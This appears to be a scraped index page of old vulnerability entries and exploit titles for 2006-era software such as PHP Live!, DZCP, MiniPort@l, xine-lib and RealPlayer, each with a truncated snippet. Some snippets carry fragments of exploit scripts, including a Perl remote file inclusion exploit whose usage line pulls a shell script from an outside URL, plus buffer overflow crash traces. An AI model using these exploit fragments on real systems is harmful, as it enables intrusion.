CVE-2006-6769

CVE-2006-6769 applies to PHP Live! 3.2.2 and earlier, with multiple XSS flaws. Vulnerable components/files include transcripts.php (search_string parameter), index.php (l parameter), phplive/index.php (login field), and phplive/message_box.php (deptid and x parameters). Exploits describe arbitrar...

KsIRC 1.3.12 (PRIVMSG) Remote Buffer Overflow PoC

No description provided by source. // KSirc 1.3.12 - PRIVMSG remote Buffer Overflow // PoC // // Federico L. Bossi Bonin // [email protected] // www.GlobalST.com.ar // 0 0xb7ea8792 in KSircIOController::stdoutread from /usr/kde/3.5/lib/libkdeinitksirc.so // 1 0xb7ea78c8 in...

wget 1.10.2 - Unchecked Boundary Condition Denial of Service

!/usr/bin/perl wget SYST ... Program received signal SIGSEGV, Segmentation fault. Switching to Thread -1211496768 LWP 22824 0xb7d1c633 in strcasecmp from /lib/tls/libc.so.6 gdb backtrace 0 0xb7d1c633 in strcasecmp from /lib/tls/libc.so.6 1 0x080542c5 in ftpsyst csock=6, servertype=0xbfe3d854 at...

CVE-2006-6339

SQL injection vulnerability in sites/index.php in deV!Lz Clanportal DZCP before 1.3.6.1 allows remote attackers to execute arbitrary SQL commands via the show element in a GET request...

CVE-2006-6339

The CVE-2006-6339 entry describes an SQL injection in deV!L`z Clanportal (DZCP) prior to version 1.3.6.1, exploitable via the show parameter in a GET request. This allows remote attackers to execute arbitrary SQL commands. Affected software/function: sites/index.php in DZCP. Root cause: insuffici...

CVE-2006-6339

SQL injection vulnerability in sites/index.php in deV!Lz Clanportal DZCP before 1.3.6.1 allows remote attackers to execute arbitrary SQL commands via the show element in a GET request...

DZCP (deV!L_z Clanportal) 1.3.6 - Arbitrary File Upload

DZCP deV!Lz Clanportal 1.3.6 - Arbitrary File Upload S Y N O P S I S / =================' - access: remote severity: high - deV!Lz Clanportal allows nearly arbitrary files to be uploaded and stored on the server's filesystem, which enables anyone, even without a user account, to upload PHP code a...

DZCP (deV!L_z Clanportal) 1.3.6 - Arbitrary File Upload

S Y N O P S I S / =================' - access: remote severity: high - deV!Lz Clanportal allows nearly arbitrary files to be uploaded and stored on the server's filesystem, which enables anyone, even without a user account, to upload PHP code and execute it, leading to arbitrary code execution. B...

CVE-2006-6167

Multiple PHP remote file inclusion vulnerabilities in L. Brandon Stone and Nathanial P. Hendler Active PHP Bookmarks APB 1.1.02 allow remote attackers to execute arbitrary PHP code via a URL in the APBSETTINGS'apbpath' parameter in 1 apbcommon.php or 2 apb.php. NOTE: CVE and another third party...

CVE-2006-6167

Active PHP Bookmarks (APB) 1.1.02 contains PHP remote file inclusion vulnerabilities allowing remote code execution via a URL in APB_SETTINGS['apb_path'] in apb_common.php or apb.php. Affected components: apb_common.php, apb.php. Root cause: RFI through unvalidated APB_SETTINGS parameter. Impact:...

Cahier de texte 2.0 (lire.php) Remote SQL Injection Exploit

Exploit for unknown platform in category web applications =========================================================== Cahier de texte 2.0 lire.php Remote SQL Injection Exploit =========================================================== Cahier de textes Pierre Lemaitre - St L? France - Ver 2.0...

CVE-2006-4770

CVE-2006-4770 describes a PHP remote file inclusion in MiniPort@l 2.0 and earlier. The vulnerability exists in menu.php via the skiny parameter, allowing an attacker to supply a URL that leads to remote PHP code execution. The issue is documented in NVD/NVD-related entries; no explicit patch vers...

CVE-2006-4770

PHP remote file inclusion vulnerability in menu.php in MiniPort@l 2.0 and earlier allows remote attackers to execute arbitrary PHP code via a URL in the skiny parameter...

MiniPort@l 0.1.5 Beta - 'skiny' Remote File Inclusion

!/usr/bin/perl use LWP::UserAgent; / + + - - - DEVIL TEAM THE BEST POLISH TEAM - - + + + - MiniPort@l perl exploit.pl http://site.com/MiniPort@lPath/ http://site.com/cmd.txt cmd cmd shell example: cmd shell variable: $GETcmd; $sciezka = $ARGV0; $sciezkacmd = $ARGV1; $komenda = $ARGV2;...

MiniPort@l 0.1.5 Beta - skiny Remote File Inclusion

MiniPort@l 0.1.5 Beta - skiny Remote File Inclusion !/usr/bin/perl use LWP::UserAgent; / + + - - - DEVIL TEAM THE BEST POLISH TEAM - - + + + - MiniPort@l perl exploit.pl http://site.com/MiniPort@lPath/ http://site.com/cmd.txt cmd cmd shell example: cmd shell variable: $GETcmd; $sciezka = $ARGV0;...

lforum240.txt

Title: l-forum = 2.4.0 Remote File Inclusion Vulnerability The bug is Discovered by Minus-Power Mail: minus-power at myway dot com Date: 19.Aug 2006 -= Republic of IRAN =- Thank you : R00TATI - Stansar & members of RS Damn to : All Arab & Turkish hackers...

GLSA-200604-16 : xine-lib: Buffer overflow vulnerability

The remote host is affected by the vulnerability described in GLSA-200604-16 xine-lib: Buffer overflow vulnerability Federico L. Bossi Bonin discovered that when handling MPEG streams xine-lib fails to make a proper boundary check of the input data supplied by the user before copying it to an...

Libxine 1.14 - MPEG Stream Buffer Overflow (PoC)

Libxine 1.14 - MPEG Stream Buffer Overflow PoC !/usr/bin/perl Libxine = 1.14 : MPEG Stream Buffer overflow vulnerability / PoC Federico L. Bossi Bonin fbossiatnetcomm.com.ar gdb run /tmp/egg.mpeg Starting program: /usr/bin/gxine /tmp/egg.mpeg Program received signal SIGSEGV, Segmentation fault...

realplayer-swf-PoC.pl.txt

!/usr/bin/perl RealPlayer: Buffer overflow vulnerability / PoC CVE-2006-0323 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-0323 RealNetworks Advisory http://service.real.com/realplayer/security/03162006player/en/ Federico L. Bossi Bonin fbossiatnetcomm.com.ar Program received signal...

LISTSERV contains multiple buffer overflow vulnerabilities in the WA CGI script

Overview Several buffer overflow vulnerabilities have been discovered in LISTSERV. These vulnerabilities could allow a remote attacker to execute arbitrary code on an affected system. Description L-Soft's LISTSERV is an email list management software package. It includes a Web Archive and...